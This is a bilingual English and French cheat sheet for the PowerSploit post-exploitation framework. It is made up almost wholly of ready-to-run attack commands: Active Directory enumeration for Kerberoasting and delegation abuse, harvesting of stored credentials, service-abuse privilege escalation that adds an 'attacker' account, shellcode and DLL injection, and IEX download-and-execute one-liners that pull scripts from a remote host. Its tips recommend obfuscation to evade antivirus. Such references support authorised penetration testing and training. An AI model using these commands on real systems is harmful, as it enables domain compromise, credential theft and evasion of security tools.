powersploit

Framework de post-exploitation PowerShell. Collection de modules pour l'exécution de code, la persistance, l'élévation de privilèges, la collecte d'identifiants et le contournement d'antivirus. PowerShell post-exploitation framework. Collection of modules for code execution, persistence, privilege escalation, credential harvesting, and antivirus bypass.

↗ https://github.com/PowerShellMafia/PowerSploit

Overview

PowerSploit is a collection of PowerShell modules for offensive security. While development has stopped (the community has moved to PowerShell Empire and other tools), its modules — especially PowerView for AD enumeration and PowerUp for local privilege escalation — remain widely used and referenced.

PowerView — Active Directory Enumeration

# Import PowerView
Import-Module .\PowerView.ps1
# Or bypass execution policy
powershell -ep bypass -c "Import-Module .\PowerView.ps1"

# Domain info
Get-Domain
Get-DomainController

# User enumeration
Get-DomainUser
Get-DomainUser -SPN                    # Kerberoastable users
Get-DomainUser -UACFilter DONT_REQ_PREAUTH  # ASREProastable

# Computer enumeration
Get-DomainComputer
Get-DomainComputer -Unconstrained      # Unconstrained delegation
Get-DomainComputer -TrustedToAuth      # Constrained delegation

# Group membership
Get-DomainGroupMember "Domain Admins"
Get-DomainGroupMember "Enterprise Admins"

# Find admin access
Find-LocalAdminAccess
Find-DomainUserLocation -UserGroupIdentity "Domain Admins"

# GPP passwords
Get-GPPPassword

PowerUp — Local Privilege Escalation

# Import PowerUp
Import-Module .\PowerUp.ps1

# Run all checks
Invoke-AllChecks

# Specific checks
Get-ServiceUnquoted                    # Unquoted service paths
Get-ModifiableServiceFile              # Writable service binaries
Get-ModifiableRegistryAutoRun          # Writable autorun registry keys
Get-UnattendedInstallFile              # Unattend.xml with credentials
Get-Webconfig                          # Web.config files with credentials
Get-ApplicationHost                    # IIS app pool credentials
Get-SiteListPassword                   # McAfee SiteList.xml passwords

# Exploit unquoted service path
Write-ServiceBinary -Name 'VulnService' -Path 'C:\Program Files\Vuln Service\service.exe'
Invoke-ServiceAbuse -Name 'VulnService'

# Abuse modifiable service
Invoke-ServiceAbuse -Name 'WeakService' -UserName 'attacker' -Password 'P@ssw0rd'

Recon Module

# Get network info
Get-NetLocalGroup
Get-NetShare
Get-NetSession
Get-NetLoggedon

# Find file shares with sensitive content
Invoke-ShareFinder
Invoke-FileFinder -ShareList shares.txt -Terms 'password','secret','credential'

# Map domain admin sessions
Invoke-UserHunter

Code Execution Modules

# Execute shellcode
Invoke-Shellcode -Shellcode ($buf) -Force

# Inject into process
Invoke-DllInjection -ProcessID 1234 -Dll evil.dll

# Reflective PE injection
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName explorer

One-Liner Load from Memory

# Load PowerView from HTTP server (no disk write)
IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.50/PowerView.ps1')

# Load PowerUp
IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.50/PowerUp.ps1')
Invoke-AllChecks

Tips

  • PowerView’s AD enumeration is the gold standard — most published AD attack paths reference it
  • PowerUp is fast and covers 90% of common local privesc vectors
  • Heavy AV detection: use obfuscation tools (Invoke-Obfuscation) or port specific functions manually
  • Modern environments: use SharpUp (C# port of PowerUp) for better AV evasion
PowerView Quick Reference
# Find local admin access across domain
Find-LocalAdminAccess -Verbose

# Get members of high-value groups
Get-DomainGroupMember "Domain Admins" -Recurse
Get-DomainGroupMember "Enterprise Admins" -Recurse
Get-DomainGroupMember "Backup Operators" -Recurse

# Check ACLs on AD objects
Get-DomainObjectAcl -Identity "CN=Domain Admins" -ResolveGUIDs
Find-InterestingDomainAcl -ResolveGUIDs

# Find users with passwords in description
Get-DomainUser | Where-Object {$_.description -ne $null} | Select-Object name,description

# Find accounts with no password required
Get-DomainUser -UACFilter PASSWD_NOTREQD

Vue d’ensemble

PowerSploit est une collection de modules PowerShell pour la sécurité offensive. Bien que son développement se soit arrêté (la communauté s’est tournée vers PowerShell Empire et d’autres outils), ses modules, en particulier PowerView pour l’énumération AD et PowerUp pour l’élévation de privilèges locale, restent largement utilisés et référencés.

PowerView : énumération Active Directory

# Importer PowerView
Import-Module .\PowerView.ps1
# Ou contourner l'execution policy
powershell -ep bypass -c "Import-Module .\PowerView.ps1"

# Informations sur le domaine
Get-Domain
Get-DomainController

# Énumération des utilisateurs
Get-DomainUser
Get-DomainUser -SPN                    # Utilisateurs kerberoastables
Get-DomainUser -UACFilter DONT_REQ_PREAUTH  # ASREProastables

# Énumération des machines
Get-DomainComputer
Get-DomainComputer -Unconstrained      # Délégation non contrainte
Get-DomainComputer -TrustedToAuth      # Délégation contrainte

# Appartenance aux groupes
Get-DomainGroupMember "Domain Admins"
Get-DomainGroupMember "Enterprise Admins"

# Trouver les accès admin
Find-LocalAdminAccess
Find-DomainUserLocation -UserGroupIdentity "Domain Admins"

# Mots de passe GPP
Get-GPPPassword

PowerUp : élévation de privilèges locale

# Importer PowerUp
Import-Module .\PowerUp.ps1

# Lancer toutes les vérifications
Invoke-AllChecks

# Vérifications spécifiques
Get-ServiceUnquoted                    # Chemins de service non entre guillemets
Get-ModifiableServiceFile              # Binaires de service inscriptibles
Get-ModifiableRegistryAutoRun          # Clés de registre autorun inscriptibles
Get-UnattendedInstallFile              # Unattend.xml contenant des identifiants
Get-Webconfig                          # Fichiers Web.config contenant des identifiants
Get-ApplicationHost                    # Identifiants des pools d'applications IIS
Get-SiteListPassword                   # Mots de passe McAfee SiteList.xml

# Exploiter un chemin de service non entre guillemets
Write-ServiceBinary -Name 'VulnService' -Path 'C:\Program Files\Vuln Service\service.exe'
Invoke-ServiceAbuse -Name 'VulnService'

# Abuser d'un service modifiable
Invoke-ServiceAbuse -Name 'WeakService' -UserName 'attacker' -Password 'P@ssw0rd'

Module de reconnaissance

# Récupérer les informations réseau
Get-NetLocalGroup
Get-NetShare
Get-NetSession
Get-NetLoggedon

# Trouver les partages de fichiers avec du contenu sensible
Invoke-ShareFinder
Invoke-FileFinder -ShareList shares.txt -Terms 'password','secret','credential'

# Cartographier les sessions des administrateurs du domaine
Invoke-UserHunter

Modules d’exécution de code

# Exécuter du shellcode
Invoke-Shellcode -Shellcode ($buf) -Force

# Injecter dans un processus
Invoke-DllInjection -ProcessID 1234 -Dll evil.dll

# Injection PE réflective
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName explorer

Chargement en mémoire en une ligne

# Charger PowerView depuis un serveur HTTP (sans écriture disque)
IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.50/PowerView.ps1')

# Charger PowerUp
IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.50/PowerUp.ps1')
Invoke-AllChecks

Conseils

  • L’énumération AD de PowerView est la référence : la plupart des chemins d’attaque AD publiés s’y réfèrent
  • PowerUp est rapide et couvre 90% des vecteurs courants d’élévation de privilèges locale
  • Forte détection AV : utilisez des outils d’obfuscation (Invoke-Obfuscation) ou portez manuellement des fonctions spécifiques
  • Environnements modernes : utilisez SharpUp (portage C# de PowerUp) pour une meilleure évasion AV
Référence rapide PowerView
# Trouver les accès admin local sur tout le domaine
Find-LocalAdminAccess -Verbose

# Récupérer les membres des groupes à forte valeur
Get-DomainGroupMember "Domain Admins" -Recurse
Get-DomainGroupMember "Enterprise Admins" -Recurse
Get-DomainGroupMember "Backup Operators" -Recurse

# Vérifier les ACL sur les objets AD
Get-DomainObjectAcl -Identity "CN=Domain Admins" -ResolveGUIDs
Find-InterestingDomainAcl -ResolveGUIDs

# Trouver les utilisateurs avec un mot de passe dans le champ description
Get-DomainUser | Where-Object {$_.description -ne $null} | Select-Object name,description

# Trouver les comptes ne nécessitant pas de mot de passe
Get-DomainUser -UACFilter PASSWD_NOTREQD